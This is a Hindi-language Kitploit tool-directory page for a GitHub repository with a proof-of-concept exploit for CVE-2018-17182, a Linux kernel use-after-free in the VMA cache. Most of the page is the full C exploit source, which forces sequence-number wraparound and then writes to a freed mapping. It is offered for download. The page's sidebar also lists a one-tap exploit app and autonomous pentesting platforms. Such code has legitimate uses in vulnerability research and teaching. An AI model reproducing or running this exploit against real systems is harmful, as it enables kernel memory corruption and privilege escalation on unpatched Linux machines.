Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jedai47/cve-2018-17182
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubjedai47/cve-2018-17182

cve-2018-17182

CVE-2018-17182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, mm सबसिस्टम में Linux कर्नेल उपयोग-के-बाद-मुक्त कमजोरी, VMA हेरफेर और कैश स्लॉट भ्रष्टाचार के माध्यम से विशेषाधिकार वृद्धि प्रदर्शित करता है।

रिपॉजिटरी देखें
323 साल पहलेअभी तक समीक्षित नहीं
साझा करें

#define _GNU_SOURCE #include <string.h> #include <sys/eventfd.h> #include <sys/signal.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <stdlib.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> #include <sched.h> #include <unistd.h>

int vma_spam_control_fd = -1; int thread_done_fd = -1; int vma_spam_done_fd = -1; void sem_inc(int fd) { uint64_t val = 1; if (write(fd, &val, 8) != 8) err(1, "sem_inc"); } void sem_dec(int fd) { uint64_t val; if (read(fd, &val, 8) != 8) err(1, "sem_dec"); }

void vma_spam_child(void) { prctl(PR_SET_PDEATHSIG, SIGKILL); for (int i=0; i<2; i++) { sem_dec(vma_spam_control_fd); for (int i=0; i<1000; i++) { char *addr = mmap(NULL, 0x2000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) err(1, "mmap spam"); mprotect(addr, 0x1000, PROT_READ); } } sem_inc(vma_spam_done_fd); }

unsigned char child_stack_area[0x8000];

int empty_child_fn(void dummy) { syscall(__NR_exit, 0); / अप्राप्य */ return 0; }

#define UAF_ADDR ((char*)0x133700000000)

int child_fn(void *dummy) { prctl(0x13371337);

void *p = mmap(NULL, 0x3000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
p += 0x1000;

for (unsigned long i=0UL; 1; i+=2) {
	unsigned long mm_seq = i; // सम
	unsigned long task_seq = mm_seq - 2;
	if (mm_seq == 0xfffffffaUL) break;
	//if (mm_seq == 0xfffaUL) break;
	if ((i % 0x1000000) == 0) {
		/*
		char state[100];
		sprintf(state, "mm_seq(2) = 0x%lx\n", mm_seq);
		write(1, state, strlen(state));
		*/
		// mm_sequence == i - 1
		// task_sequence == mm_sequence - 2
		//printf("at 0x%lx\n", i);
		prctl(0x13371337);
	}
	p = mmap(p, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE|MAP_FIXED, -1, 0);
	if (p == MAP_FAILED) err(1, "mmap");
}
sem_inc(vma_spam_control_fd);
for (unsigned long i = 0; i < 4; i++) {
	munmap(UAF_ADDR + i*0x200000, 0x10000);
}
munmap(p-0x1000, 0x3000);
sem_inc(vma_spam_control_fd);
sem_dec(vma_spam_done_fd);

prctl(0x13371337);
sleep(1);
sem_inc(thread_done_fd);

syscall(__NR_exit, 0);
/* अप्राप्य */
return 0;

}

int main(void) { cpu_set_t cset; CPU_ZERO(&cset); CPU_SET(0, &cset); if (sched_setaffinity(0, sizeof(cpu_set_t), &cset)) err(1, "affinity");

vma_spam_control_fd = eventfd(0, EFD_SEMAPHORE);
thread_done_fd = eventfd(0, EFD_SEMAPHORE);
vma_spam_done_fd = eventfd(0, EFD_SEMAPHORE);

int spchild = fork();
if (spchild == -1) err(1, "fork");
if (spchild == 0) {
	vma_spam_child();
	exit(0);
}

#define LONELY_MAPPING_ADDR ((char*)0x133800600000UL)
char *lonely_mapping = mmap(LONELY_MAPPING_ADDR, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (lonely_mapping != LONELY_MAPPING_ADDR)
	err(1, "mmap lonely mapping");

for (unsigned long i=0; i<4; i++) {
	void *addr = UAF_ADDR + i * 0x200000;
	if (mmap(addr, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) != addr)
		err(1, "mmap UAF_ADDR");
	if (madvise(addr, 0x10000, MADV_RANDOM))
		err(1, "madvise");
}

prctl(0x13371337);
void *p = mmap(NULL, 0x3000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
p += 0x1000;
for (unsigned long i=6UL; 1; i+=2) {
	unsigned long mm_seq = i - 1; // हमेशा विषम!
	unsigned long task_seq = mm_seq - 2;
	if (mm_seq == 0xffffffffUL) break;
	//if (mm_seq == 0xffffUL) break;
	if ((i % 0x1000000) == 0) {
		// mm_sequence == i - 1
		// task_sequence == mm_sequence - 2
		//printf("at 0x%lx\n", i);
		/*
		char state[100];
		sprintf(state, "mm_seq(1) = 0x%lx\n", mm_seq);
		write(1, state, strlen(state));
		*/
		prctl(0x13371337);
	}
	p = mmap(p, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE|MAP_FIXED, -1, 0);
	if (p == MAP_FAILED) err(1, "mmap");
}

// हमें आवश्यक सब कुछ fault करने के लिए गंदा हैक
int child_tmp = clone(empty_child_fn, child_stack_area+sizeof(child_stack_area), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_THREAD|CLONE_VM, NULL);
sleep(3);
sem_inc(thread_done_fd);
sem_dec(thread_done_fd);

// UAF_ADDR को कैश्ड करने का प्रयास करें
for (unsigned long i=0; i<4; i++) {
	UAF_ADDR[i * 0x200000] = 1;
}

// एक और, mm_seq को 0 पर लपेटने के लिए।
// यह एक छोटी मैपिंग होनी चाहिए ताकि कैश को स्पैम न करें।
munmap(lonely_mapping, 0x1000);
prctl(0x13371337);
int child = clone(child_fn, child_stack_area+sizeof(child_stack_area), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_THREAD|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
	err(1, "clone");
sem_dec(thread_done_fd); // wraparound की प्रतीक्षा करें

// #### गुणक को 0..3 की सीमा में समायोजित करें ताकि यह कैश स्लॉट का उपयोग करे
// #### जो मिटाया नहीं जाएगा
UAF_ADDR[0x4000 + 1 * 0x200000] = 1;

prctl(0x13371337);

}

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    795
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    520
  • 3

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    439
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    267
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    264

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →